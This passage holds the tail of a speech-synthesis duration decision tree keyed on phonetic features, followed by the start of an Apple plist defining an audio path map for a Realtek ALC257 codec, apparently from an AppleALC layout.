-210 prev_ctype==f -340 "dur_s2_53"
-211 prev_name==r -212 -213
-212 name==s -218 -533
-213 syl_stress==1 -461 "dur_s2_54"
-214 next_ctype==f -286 -290
-215 next_vrnd==- -302 "dur_s2_55"
-216 prev_cvox==+&&son==-&&clab==+ "dur_s2_56" -654
-217 prev_name==pau -281 "dur_s2_57"
-218 next_vrnd==-&&vlng==l -427 "dur_s2_58"
-219 dist_to_prev_stressed_syl_in_phrase==1 -576 -357
-220 son==- -520 -509
-221 prev_son==-&&clab==+ -447 -468
-222 num_syls_in_next_phrase==4 "dur_s2_60" "dur_s2_59"
-223 next_ctype==s -425 "dur_s2_61"
-224 name==l -562 -229
-225 prev_son==- -313 "dur_s2_62"
-226 word_gpos==wp -227 -643
-227 next_son==- -369 -471
-228 clab==+ "dur_s2_64" "dur_s2_63"
-229 next_name==iy -542 -345
-230 num_syls_in_next_word==1 -412 "dur_s2_65"
-231 next_cvox==-&&ctype==s -393 -245
-232 next_name==n -611 -508
-233 syl_pos_in_phrase_fw<=1 -260 "dur_s2_66"
-234 next_vc==+ -235 -606
-235 syl_stress==1 -315 -566
-236 prev_ccor==+&&son==- -242 "dur_s2_67"
-237 prev_cplace==a -328 -495
-238 prev_prev_name==f -287 "dur_s2_68"
-239 prev_cvox==-&&ctype==s -478 -380
-240 num_words_in_prev_phrase==2 -283 "dur_s2_69"
-241 ctype==f&&csib==+ "dur_s2_71" "dur_s2_70"
-242 name==z -494 -554
-243 num_words_in_prev_phrase<=1 "dur_s2_73" "dur_s2_72"
-244 vlng==l -640 -247
-245 name==ay "dur_s2_75" "dur_s2_74"
-246 name==aa -303 "dur_s2_76"
-247 next_cont==- -367 "dur_s2_77"
-248 prev_cplace==a "dur_s2_78" -421
-249 next_ctype==f -558 -405
-250 next_ctype==f&&csib==+ -531 "dur_s2_79"
-251 prev_son==+&&clab==+ -347 -507
-252 syl_stress==1 -275 "dur_s2_80"
-253 prev_cont==-&&cvox==+ -263 -378
-254 next_cvox==+&&ctype==s -295 "dur_s2_81"
-255 prev_prev_vrnd==- "dur_s2_83" "dur_s2_82"
-256 next_next_cont==-&&cvox==+ -583 "dur_s2_84"
-257 prev_cont==-&&cplace==a -463 "dur_s2_85"
-258 son==- -307 -265
-259 syl_stress==1 -416 -433
-260 syl_stress==0 -577 -368
-261 num_syls_in_next_word<=3 "dur_s2_87" "dur_s2_86"
-262 prev_cvox==+&&son==-&&clab==+ -394 -569
-263 next_son==+&&clab==+ -614 -596
-264 prev_son==- "dur_s2_88" -274
-265 next_son==- "dur_s2_90" "dur_s2_89"
-266 next_vrnd==-&&vheight==1 "dur_s2_92" "dur_s2_91"
-267 vlng==l -268 -453
-268 next_name==n "dur_s2_93" -624
-269 prev_name==dh -354 -270
-270 prev_word_gpos==content "dur_s2_94" -600
-271 next_son==+ "dur_s2_96" "dur_s2_95"
-272 syl_vowel_vlng==a "dur_s2_98" "dur_s2_97"
-273 next_next_name==x -543 "dur_s2_99"
-274 prev_cont==-&&cvox==+ "dur_s2_100" -457
-275 prev_prev_vc==+ "dur_s2_102" "dur_s2_101"
-276 prev_name==l -473 "dur_s2_103"
-277 name==ch -404 "dur_s2_104"
-278 next_vc==+ "dur_s2_105" -300
-279 prev_word_gpos==content "dur_s2_106" -342
-280 syl_stress==0 "dur_s2_108" "dur_s2_107"
-281 syl_stress==1 -440 -472
-282 next_cvox==+ -397 -540
-283 next_ccor==+&&cvox==+ -358 "dur_s2_109"
-284 prev_cplace==a "dur_s2_110" -491
-285 prev_name==ao "dur_s2_112" "dur_s2_111"
-286 next_son==-&&cplace==l -324 -502
-287 name==l -288 -289
-288 prev_vheight==2&&vlng==s -431 "dur_s2_113"
-289 next_vc==- -506 "dur_s2_114"
-290 next_next_vheight==1&&vlng==l -456 -489
-291 prev_name==l -351 "dur_s2_115"
-292 prev_son==- "dur_s2_117" "dur_s2_116"
-293 prev_syl_length==0 -589 "dur_s2_118"
-294 prev_cont==-&&cvox==+ "dur_s2_120" "dur_s2_119"
-295 prev_cvox==-&&ctype==s -503 -296
-296 prev_prev_vfront==2 -297 "dur_s2_121"
-297 next_word_gpos==det -344 "dur_s2_122"
-298 prev_cont==+&&cvox==+&&cplace==a -557 "dur_s2_123"
-299 num_syls_in_prev_phrase==0 "dur_s2_125" "dur_s2_124"
-300 ccor==+ "dur_s2_126" -483
-301 syl_pos_in_word_bw<=2 "dur_s2_127" -400
-302 next_name==l -374 "dur_s2_128"
-303 prev_cont==- -355 "dur_s2_129"
-304 prev_cont==-&&cplace==a "dur_s2_131" "dur_s2_130"
-305 pos_in_syl_bw==2 "dur_s2_132" -379
-306 word_gpos==det -439 "dur_s2_133"
-307 next_name==p -399 "dur_s2_134"
-308 next_ccor==+&&cvox==+&&son==- -477 "dur_s2_135"
-309 next_cont==-&&son==- -323 -310
-310 syl_pos_in_phrase_bw==5 "dur_s2_137" "dur_s2_136"
-311 next_name==hh -517 "dur_s2_138"
-312 next_cont==+ "dur_s2_140" "dur_s2_139"
-313 num_syls_in_next_phrase<=0 "dur_s2_141" -537
-314 next_ctype==r&&son==+ -455 "dur_s2_142"
-315 next_cont==+ "dur_s2_143" -484
-316 prev_son==- -604 "dur_s2_144"
-317 prev_son==+ -430 -570
-318 pos_in_word_fw<=2 -381 "dur_s2_145"
-319 next_name==hh -385 -331
-320 prev_cvox==+&&cplace==v -653 "dur_s2_146"
-321 pos_in_word_fw<=3 "dur_s2_148" "dur_s2_147"
-322 next_name==r -334 "dur_s2_149"
-323 prev_vfront==1 -371 "dur_s2_150"
-324 next_word_gpos==wp -560 "dur_s2_151"
-325 dist_to_next_stressed_syl_in_phrase==1 "dur_s2_152" -450
-326 prev_syl_stress==1 -428 "dur_s2_153"
-327 next_cont==+ "dur_s2_154" -649
-328 prev_vrnd==+ -549 "dur_s2_155"
-329 pos_in_syl_fw==1 -332 "dur_s2_156"
-330 syl_pos_in_word_fw<=1 -515 -364
-331 pos_in_syl_fw==4 "dur_s2_158" "dur_s2_157"
-332 syl_vowel==er -333 "dur_s2_159"
-333 prev_cont==+&&ccor==+&&cvox==+ -650 "dur_s2_160"
-334 prev_vfront==3 -572 -605
-335 pos_in_syl_bw==1 "dur_s2_162" "dur_s2_161"
-336 cont==+ "dur_s2_164" "dur_s2_163"
-337 word_gpos==pps -442 -595
-338 prev_name==t "dur_s2_166" "dur_s2_165"
-339 prev_ccor==+&&cvox==- -490 "dur_s2_167"
-340 syl_pos_in_phrase_fw<=1 -415 "dur_s2_168"
-341 prev_prev_vfront==2&&vheight==2 "dur_s2_170" "dur_s2_169"
-342 next_syl_accented==1 -348 "dur_s2_171"
-343 next_name==s -518 "dur_s2_172"
-344 num_syls_in_next_phrase<=4 "dur_s2_173" -639
-345 prev_cont==+&&cvox==+ -631 "dur_s2_174"
-346 prev_prev_vlng==s -612 "dur_s2_175"
-347 vfront==3 "dur_s2_176" -486
-348 prev_cvox==-&&csib==+ -539 "dur_s2_177"
-349 pos_in_word_bw<=5 "dur_s2_178" -448
-350 syl_pos_in_phrase_bw<=9 "dur_s2_180" "dur_s2_179"
-351 next_name==r -352 "dur_s2_181"
-352 prev_vrnd==-&&vlng==d -353 "dur_s2_182"
-353 prev_ctype==r -510 "dur_s2_183"
-354 prev_cont==-&&cvox==- "dur_s2_185" "dur_s2_184"
-355 syl_stress==1 -406 -555
-356 syl_length<=2 "dur_s2_187" "dur_s2_186"
-357 num_syls_in_phrase<=13 "dur_s2_189" "dur_s2_188"
-358 syl_length<=3 "dur_s2_190" -532
-359 next_next_name==x -449 "dur_s2_191"
-360 next_cont==+&&son==+ -361 "dur_s2_192"
-361 prev_cvox==- "dur_s2_193" -362
-362 next_next_cont==-&&son==- "dur_s2_194" -363
-363 syl_pos_in_word_bw==2 "dur_s2_196" "dur_s2_195"
-364 next_cont==+&&cvox==+ "dur_s2_198" "dur_s2_197"
-365 prev_ccor==+&&son==- -366 "dur_s2_199"
-366 next_cont==+&&cvox==+&&cplace==a "dur_s2_201" "dur_s2_200"
-367 num_stressed_syls_in_phrase_after_this_syl<=8 "dur_s2_203" "dur_s2_202"
-368 pos_in_word_fw<=1 -585 "dur_s2_204"
-369 syl_vowel==eh -370 -528
-370 next_clab==+ "dur_s2_206" "dur_s2_205"
-371 prev_vc==- "dur_s2_208" "dur_s2_207"
-372 syl_vowel_vfront==3 -373 "dur_s2_209"
-373 prev_cont==-&&cvox==+ -407 -638
-374 name==aw -375 "dur_s2_210"
-375 prev_cont==-&&cvox==+&&clab==+ -420 "dur_s2_211"
-376 prev_prev_cont==-&&cvox==+ -424 "dur_s2_212"
-377 syl_vowel_vfront==1&&vlng==s "dur_s2_214" "dur_s2_213"
-378 prev_cont==-&&cvox==+&&clab==+ -593 "dur_s2_215"
-379 num_words_in_next_phrase<=3 "dur_s2_216" -534
-380 next_cont==+&&son==+ "dur_s2_218" "dur_s2_217"
-381 dist_to_prev_content_word_in_phrase<=2 "dur_s2_220" "dur_s2_219"
-382 next_cont==+&&cvox==+ "dur_s2_222" "dur_s2_221"
-383 next_next_cvox==+&&ctype==f -384 -411
-384 prev_vrnd==+ "dur_s2_224" "dur_s2_223"
-385 next_ctype==f&&csib==+ "dur_s2_225" -386
-386 word_gpos==content "dur_s2_227" "dur_s2_226"
-387 next_son==- "dur_s2_229" "dur_s2_228"
-388 next_cont==+ -474 "dur_s2_230"
-389 num_words_in_next_phrase<=5 "dur_s2_231" -476
-390 syl_pos_in_word_fw==1 "dur_s2_232" -482
-391 prev_cont==-&&cvox==+ "dur_s2_234" "dur_s2_233"
-392 pos_in_word_fw<=3 "dur_s2_236" "dur_s2_235"
-393 name==ay "dur_s2_238" "dur_s2_237"
-394 next_name==l -417 -499
-395 prev_ctype==n -599 -396
-396 num_syls_in_next_phrase<=2 "dur_s2_240" "dur_s2_239"
-397 syl_vowel==eh -426 "dur_s2_241"
-398 prev_vc==+ -548 -511
-399 next_cvox==+&&clab==+ -541 "dur_s2_242"
-400 prev_ccor==+ "dur_s2_243" -618
-401 name==f -634 "dur_s2_244"
-402 clab==+ "dur_s2_245" -403
-403 prev_vc==- "dur_s2_246" -580
-404 next_son==- -651 -459
-405 next_clab==+ -487 "dur_s2_247"
-406 word_gpos==det "dur_s2_249" "dur_s2_248"
-407 word_gpos==aux "dur_s2_250" -408
-408 prev_vrnd==- -573 "dur_s2_251"
-409 num_syls_in_utt==16 -505 "dur_s2_252"
-410 syl_vowel==ao "dur_s2_254" "dur_s2_253"
-411 word_pos_in_phrase_fw<=2 -567 "dur_s2_255"
-412 prev_prev_cont==+&&ccor==+ "dur_s2_257" "dur_s2_256"
-413 next_cont==- -414 -526
-414 syl_vowel==eh "dur_s2_259" "dur_s2_258"
-415 prev_cont==- -545 "dur_s2_260"
-416 next_word_gpos==0 -597 "dur_s2_261"
-417 word_gpos==det -632 "dur_s2_262"
-418 syl_pos_in_word_fw<=1 "dur_s2_263" -451
-419 prev_cvox==- -446 "dur_s2_264"
-420 pos_in_word_bw<=3 "dur_s2_266" "dur_s2_265"
-421 next_name==s -422 "dur_s2_267"
-422 prev_son==- "dur_s2_269" "dur_s2_268"
-423 next_cont==+ "dur_s2_271" "dur_s2_270"
-424 prev_ctype==n "dur_s2_273" "dur_s2_272"
-425 next_cvox==+ -454 "dur_s2_274"
-426 prev_cont==+&&son==+ "dur_s2_276" "dur_s2_275"
-427 prev_son==- "dur_s2_277" -466
-428 dist_to_next_accented_syl_in_phrase<=2 "dur_s2_279" "dur_s2_278"
-429 next_next_vlng==l "dur_s2_281" "dur_s2_280"
-430 prev_ctype==f -575 "dur_s2_282"
-431 syl_pos_in_word_fw<=1 "dur_s2_283" -432
-432 ccor==+ -538 "dur_s2_284"
-433 pos_in_word_fw==1 -622 "dur_s2_285"
-434 prev_syl_length<=0 -435 -436
-435 next_cvox==- -615 -546
-436 prev_prev_name==pau "dur_s2_287" "dur_s2_286"
-437 next_name==hh -592 "dur_s2_288"
-438 num_syls_in_utt==8 "dur_s2_290" "dur_s2_289"
-439 phrase_pos_in_utt_fw<=2 "dur_s2_291" -544
-440 prev_cont==+ "dur_s2_293" "dur_s2_292"
-441 word_gpos==in "dur_s2_295" "dur_s2_294"
-442 next_name==l -443 "dur_s2_296"
-443 name==ay -444 "dur_s2_297"
-444 num_syls_in_word<=2 -445 -594
-445 next_vheight==2 "dur_s2_299" "dur_s2_298"
-446 prev_word_gpos==content "dur_s2_301" "dur_s2_300"
-447 prev_prev_cont==+&&cplace==a -535 "dur_s2_302"
-448 dist_to_next_content_word_in_phrase==1 "dur_s2_304" "dur_s2_303"
-449 prev_cont==+&&ccor==+ -586 "dur_s2_305"
-450 prev_name==l "dur_s2_307" "dur_s2_306"
-451 pos_in_word_bw==1 "dur_s2_309" "dur_s2_308"
-452 prev_prev_ctype==s&&cplace==a "dur_s2_311" "dur_s2_310"
-453 next_name==y -481 "dur_s2_312"
-454 pos_in_word_fw==2 -464 "dur_s2_313"
-455 prev_cont==- "dur_s2_315" "dur_s2_314"
-456 next_cvox==-&&cplace==a "dur_s2_317" "dur_s2_316"
-457 prev_prev_ccor==+&&son==- -458 "dur_s2_318"
-458 prev_prev_cvox==+ "dur_s2_319" -621
-459 ccor==+ "dur_s2_321" "dur_s2_320"
-460 next_next_name==x "dur_s2_323" "dur_s2_322"
-461 next_next_vrnd==-&&vlng==l "dur_s2_325" "dur_s2_324"
-462 prev_vc==+ "dur_s2_327" "dur_s2_326"
-463 prev_prev_cvox==+ -519 -637
-464 syl_vowel_vrnd==-&&vlng==l "dur_s2_329" "dur_s2_328"
-465 prev_cont==- "dur_s2_331" "dur_s2_330"
-466 prev_name==sh "dur_s2_333" "dur_s2_332"
-467 next_clab==+ -500 "dur_s2_334"
-468 pos_in_word_bw<=5 "dur_s2_336" "dur_s2_335"
-469 syl_vowel==ow "dur_s2_338" "dur_s2_337"
-470 syl_vowel_vfront==1&&vlng==s -652 "dur_s2_339"
-471 next_cont==-&&ccor==+&&son==- "dur_s2_341" "dur_s2_340"
-472 pos_in_syl_fw<=1 "dur_s2_342" -642
-473 next_cvox==- -644 "dur_s2_343"
-474 prev_son==- "dur_s2_345" "dur_s2_344"
-475 next_cont==+&&son==+ "dur_s2_347" "dur_s2_346"
-476 num_words_in_utt<=5 "dur_s2_349" "dur_s2_348"
-477 prev_cont==+&&son==+ "dur_s2_351" "dur_s2_350"
-478 prev_ccor==+&&cvox==+ -479 "dur_s2_352"
-479 next_name==l "dur_s2_353" -480
-480 vrnd==- "dur_s2_355" "dur_s2_354"
-481 prev_son==+&&cplace==a -625 -641
-482 next_vfront==2 -578 "dur_s2_356"
-483 syl_vowel_vrnd==-&&vlng==s "dur_s2_358" "dur_s2_357"
-484 next_next_ctype==r -485 "dur_s2_359"
-485 next_name==hh "dur_s2_361" "dur_s2_360"
-486 pos_in_word_bw<=4 "dur_s2_362" -629
-487 prev_ccor==+&&son==- "dur_s2_363" -488
-488 next_ccor==+ "dur_s2_365" "dur_s2_364"
-489 num_syls_in_utt<=8 -635 "dur_s2_366"
-490 prev_prev_cont==+ -579 "dur_s2_367"
-491 pos_in_word_bw==3 "dur_s2_369" "dur_s2_368"
-492 next_son==+&&cplace==a -493 "dur_s2_370"
-493 prev_prev_vheight==1 "dur_s2_372" "dur_s2_371"
-494 next_cvox==+ "dur_s2_374" "dur_s2_373"
-495 next_name==l -496 "dur_s2_375"
-496 prev_cvox==+ "dur_s2_377" "dur_s2_376"
-497 name==g "dur_s2_379" "dur_s2_378"
-498 next_next_clab==+ "dur_s2_381" "dur_s2_380"
-499 pos_in_word_bw<=3 "dur_s2_383" "dur_s2_382"
-500 next_cvox==+&&son==-&&cplace==a "dur_s2_385" "dur_s2_384"
-501 num_syls_in_phrase==2 "dur_s2_387" "dur_s2_386"
-502 num_words_in_next_phrase<=4 "dur_s2_389" "dur_s2_388"
-503 prev_cvox==- -620 "dur_s2_390"
-504 next_csib==+&&cplace==a "dur_s2_392" "dur_s2_391"
-505 syl_pos_in_phrase_bw==5 -530 "dur_s2_393"
-506 syl_vowel_vheight==1&&vlng==l "dur_s2_395" "dur_s2_394"
-507 pos_in_syl_bw==1 "dur_s2_397" "dur_s2_396"
-508 next_next_vlng==l "dur_s2_399" "dur_s2_398"
-509 name==v "dur_s2_401" "dur_s2_400"
-510 prev_prev_cvox==- -582 "dur_s2_402"
-511 ctype==r -512 "dur_s2_403"
-512 prev_vheight==1&&vlng==s "dur_s2_405" "dur_s2_404"
-513 name==p -630 -514
-514 next_cvox==+ "dur_s2_407" "dur_s2_406"
-515 syl_pos_in_word_bw==2 "dur_s2_409" "dur_s2_408"
-516 prev_prev_ccor==+ -581 "dur_s2_410"
-517 next_cont==-&&cvox==+ -551 "dur_s2_411"
-518 num_syls_in_next_phrase==4 "dur_s2_413" "dur_s2_412"
-519 prev_name==l "dur_s2_415" "dur_s2_414"
-520 num_syls_in_next_phrase<=0 "dur_s2_416" -521
-521 prev_prev_cvox==-&&cplace==p -522 "dur_s2_417"
-522 name==n -523 "dur_s2_418"
-523 prev_vrnd==- "dur_s2_420" "dur_s2_419"
-524 word_gpos==content "dur_s2_422" "dur_s2_421"
-525 prev_ctype==s&&cplace==a "dur_s2_424" "dur_s2_423"
-526 num_words_in_phrase<=11 "dur_s2_426" "dur_s2_425"
-527 next_ccor==+&&son==- "dur_s2_428" "dur_s2_427"
-528 next_cont==+ "dur_s2_429" -529
-529 prev_ctype==r&&son==+ "dur_s2_431" "dur_s2_430"
-530 prev_name==l "dur_s2_433" "dur_s2_432"
-531 syl_vowel==ow -601 "dur_s2_434"
-532 num_content_words_in_phrase_before_this_word==2 "dur_s2_436" "dur_s2_435"
-533 num_content_words_in_phrase_before_this_word==5 "dur_s2_438" "dur_s2_437"
-534 next_next_cont==-&&ccor==+ -626 "dur_s2_439"
-535 prev_cplace==a "dur_s2_441" "dur_s2_440"
-536 num_syls_in_phrase<=11 "dur_s2_443" "dur_s2_442"
-537 cplace==p "dur_s2_445" "dur_s2_444"
-538 prev_vlng==l "dur_s2_447" "dur_s2_446"
-539 num_syls_in_utt<=14 "dur_s2_449" "dur_s2_448"
-540 syl_vowel==eh "dur_s2_451" "dur_s2_450"
-541 word_gpos==in -610 "dur_s2_452"
-542 prev_cont==+&&ccor==+&&cvox==+ "dur_s2_454" "dur_s2_453"
-543 prev_vc==+ "dur_s2_456" "dur_s2_455"
-544 next_next_cont==+&&cplace==a "dur_s2_458" "dur_s2_457"
-545 syl_vowel_vheight==1 "dur_s2_460" "dur_s2_459"
-546 next_syl_accented==1 "dur_s2_462" "dur_s2_461"
-547 next_ctype==r&&son==+ -603 "dur_s2_463"
-548 cplace==p "dur_s2_465" "dur_s2_464"
-549 next_name==n -550 "dur_s2_466"
-550 word_pos_in_phrase_fw<=3 "dur_s2_468" "dur_s2_467"
-551 next_next_vlng==a "dur_s2_470" "dur_s2_469"
-552 pos_in_word_bw<=3 "dur_s2_472" "dur_s2_471"
-553 prev_prev_cvox==- "dur_s2_474" "dur_s2_473"
-554 word_gpos==content "dur_s2_475" -602
-555 syl_vowel==iy -556 -655
-556 prev_son==+ "dur_s2_477" "dur_s2_476"
-557 prev_ccor==+&&cvox==+ "dur_s2_479" "dur_s2_478"
-558 prev_ccor==+&&son==- "dur_s2_480" -559
-559 next_cont==+&&son==+ "dur_s2_482" "dur_s2_481"
-560 next_name==t -561 "dur_s2_483"
-561 next_name==l "dur_s2_485" "dur_s2_484"
-562 son==+&&cplace==a -564 -563
-563 prev_name==l -565 "dur_s2_486"
-564 prev_son==- "dur_s2_487" -590
-565 next_vrnd==-&&vheight==1 "dur_s2_489" "dur_s2_488"
-566 pos_in_word_bw==1 "dur_s2_491" "dur_s2_490"
-567 prev_vc==+ "dur_s2_493" "dur_s2_492"
-568 ctype==r "dur_s2_495" "dur_s2_494"
-569 syl_stress==1 "dur_s2_497" "dur_s2_496"
-570 prev_ctype==r "dur_s2_499" "dur_s2_498"
-571 num_words_in_utt==7 "dur_s2_501" "dur_s2_500"
-572 next_clab==+ -627 "dur_s2_502"
-573 prev_son==- "dur_s2_504" "dur_s2_503"
-574 next_vrnd==-&&vheight==1 "dur_s2_506" "dur_s2_505"
-575 prev_prev_csib==+ -617 "dur_s2_507"
-576 dist_to_prev_stressed_syl_in_phrase==2 "dur_s2_509" "dur_s2_508"
-577 prev_vc==- "dur_s2_511" "dur_s2_510"
-578 word_pos_in_phrase_fw==1 "dur_s2_513" "dur_s2_512"
-579 prev_cont==- "dur_s2_515" "dur_s2_514"
-580 prev_prev_son==- "dur_s2_517" "dur_s2_516"
-581 prev_name==n -608 "dur_s2_518"
-582 prev_prev_cvox==+&&clab==+ "dur_s2_520" "dur_s2_519"
-583 dist_to_prev_stressed_syl_in_phrase==1 "dur_s2_522" "dur_s2_521"
-584 prev_prev_vrnd==- "dur_s2_524" "dur_s2_523"
-585 prev_cont==-&&cvox==+ "dur_s2_526" "dur_s2_525"
-586 next_vfront==3&&vlng==l "dur_s2_528" "dur_s2_527"
-587 word_gpos==in "dur_s2_529" -588
-588 prev_prev_cvox==+&&cplace==a "dur_s2_531" "dur_s2_530"
-589 prev_prev_csib==+ "dur_s2_533" "dur_s2_532"
-590 cont==+ -591 "dur_s2_534"
-591 pos_in_word_bw<=3 "dur_s2_536" "dur_s2_535"
-592 next_syl_accented==1 "dur_s2_538" "dur_s2_537"
-593 prev_cvox==+&&son==- "dur_s2_540" "dur_s2_539"
-594 next_next_vrnd==-&&vlng==l "dur_s2_542" "dur_s2_541"
-595 prev_prev_cvox==+ "dur_s2_544" "dur_s2_543"
-596 prev_prev_ccor==+&&son==- "dur_s2_546" "dur_s2_545"
-597 next_syl_length<=2 "dur_s2_548" "dur_s2_547"
-598 num_accented_syls_in_phrase_before_this_syl<=2 "dur_s2_550" "dur_s2_549"
-599 prev_cvox==+&&son==- "dur_s2_552" "dur_s2_551"
-600 num_syls_in_phrase<=17 "dur_s2_554" "dur_s2_553"
-601 next_cvox==+&&cplace==v "dur_s2_556" "dur_s2_555"
-602 prev_prev_cplace==l "dur_s2_558" "dur_s2_557"
-603 syl_stress==1 "dur_s2_560" "dur_s2_559"
-604 cvox==+ "dur_s2_561" -623
-605 next_clab==+ "dur_s2_563" "dur_s2_562"
-606 next_vfront==1&&vlng==s -607 "dur_s2_564"
-607 next_next_son==-&&cplace==a "dur_s2_566" "dur_s2_565"
-608 syl_pos_in_phrase_bw<=4 "dur_s2_568" "dur_s2_567"
-609 prev_ctype==a "dur_s2_570" "dur_s2_569"
-610 prev_cont==+&&ccor==+ "dur_s2_572" "dur_s2_571"
-611 dist_to_prev_accented_syl_in_phrase<=3 "dur_s2_574" "dur_s2_573"
-612 prev_prev_name==ey "dur_s2_576" "dur_s2_575"
-613 prev_name==r "dur_s2_578" "dur_s2_577"
-614 num_syls_in_prev_word<=0 "dur_s2_580" "dur_s2_579"
-615 next_syl_length<=2 "dur_s2_581" -616
-616 next_vfront==1 "dur_s2_583" "dur_s2_582"
-617 num_syls_in_prev_word==2 "dur_s2_585" "dur_s2_584"
-618 next_next_son==- "dur_s2_587" "dur_s2_586"
-619 prev_ccor==+&&cvox==-&&ctype==f "dur_s2_589" "dur_s2_588"
-620 next_ctype==f&&csib==+ "dur_s2_591" "dur_s2_590"
-621 num_syls_in_utt<=10 "dur_s2_593" "dur_s2_592"
-622 next_next_name==er "dur_s2_595" "dur_s2_594"
-623 cont==+&&cvox==+&&cplace==p "dur_s2_597" "dur_s2_596"
-624 vfront==1 "dur_s2_599" "dur_s2_598"
-625 syl_length==2 "dur_s2_601" "dur_s2_600"
-626 num_words_in_phrase<=4 -645 "dur_s2_602"
-627 pos_in_syl_bw==1 "dur_s2_604" "dur_s2_603"
-628 next_next_name==n "dur_s2_606" "dur_s2_605"
-629 next_next_ccor==+&&son==- "dur_s2_608" "dur_s2_607"
-630 prev_vfront==1&&vheight==2 "dur_s2_610" "dur_s2_609"
-631 pos_in_word_fw<=3 "dur_s2_612" "dur_s2_611"
-632 next_name==s "dur_s2_614" "dur_s2_613"
-633 prev_name==n "dur_s2_616" "dur_s2_615"
-634 prev_cont==-&&cvox==+ "dur_s2_618" "dur_s2_617"
-635 num_words_in_utt==7 -636 "dur_s2_619"
-636 num_words_in_utt==12 "dur_s2_621" "dur_s2_620"
-637 next_vrnd==+&&vlng==l "dur_s2_623" "dur_s2_622"
-638 syl_vowel==ae "dur_s2_625" "dur_s2_624"
-639 prev_syl_accented==0 "dur_s2_627" "dur_s2_626"
-640 prev_prev_ctype==s&&cplace==a "dur_s2_629" "dur_s2_628"
-641 prev_prev_vlng==s "dur_s2_631" "dur_s2_630"
-642 pos_in_word_bw==5 "dur_s2_633" "dur_s2_632"
-643 vfront==1 "dur_s2_635" "dur_s2_634"
-644 prev_son==+&&clab==+ "dur_s2_637" "dur_s2_636"
-645 prev_vrnd==-&&vlng==s "dur_s2_638" -646
-646 next_next_vheight==3 "dur_s2_640" "dur_s2_639"
-647 next_vheight==1 -648 "dur_s2_641"
-648 next_name==ax "dur_s2_643" "dur_s2_642"
-649 prev_cont==-&&cplace==a "dur_s2_645" "dur_s2_644"
-650 syl_vowel==oy "dur_s2_647" "dur_s2_646"
-651 next_name==w "dur_s2_649" "dur_s2_648"
-652 pos_in_word_fw==1 "dur_s2_651" "dur_s2_650"
-653 num_stressed_syls_in_phrase_before_this_syl<=5 "dur_s2_653" "dur_s2_652"
-654 num_syls_in_phrase<=8 "dur_s2_655" "dur_s2_654"
-655 next_cont==-&&ccor==+&&son==- "dur_s2_657" "dur_s2_656"
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommonPeripheralDSP</key>
<array>
<dict>
<key>DeviceID</key>
<integer>0</integer>
<key>DeviceType</key>
<string>Headphone</string>
</dict>
<dict>
<key>DeviceID</key>
<integer>0</integer>
<key>DeviceType</key>
<string>Microphone</string>
</dict>
</array>
<key>PathMaps</key>
<array>
<dict>
<key>Comment</key>
<string>MacPeet - Realtek ALC257</string>
<key>PathMap</key>
<array>
<array>
<array>
<array>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<true/>
</dict>
<key>NodeID</key>
<integer>8</integer>
</dict>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<true/>
</dict>
<key>NodeID</key>
<integer>35</integer>
</dict>
<dict>
<key>NodeID</key>
<integer>18</integer>
</dict>
</array>
</array>
</array>
<array>
<array>
<array>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<true/>
</dict>
<key>NodeID</key>
<integer>9</integer>
</dict>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<true/>
</dict>
<key>NodeID</key>
<integer>34</integer>
</dict>
<dict>
<key>NodeID</key>
<integer>25</integer>
</dict>
</array>
</array>
</array>
<array>
<array>
<array>
<dict>
<key>Amp</key>
<dict>
<key>MuteInputAmp</key>
<false/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<false/>
</dict>
<key>NodeID</key>
<integer>20</integer>
</dict>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<false/>
</dict>
<key>NodeID</key>
<integer>2</integer>
</dict>
</array>
</array>
<array>
<array>
<dict>
<key>Amp</key>
<dict>
<key>MuteInputAmp</key>
<false/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<false/>
</dict>
<key>NodeID</key>
<integer>33</integer>
</dict>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
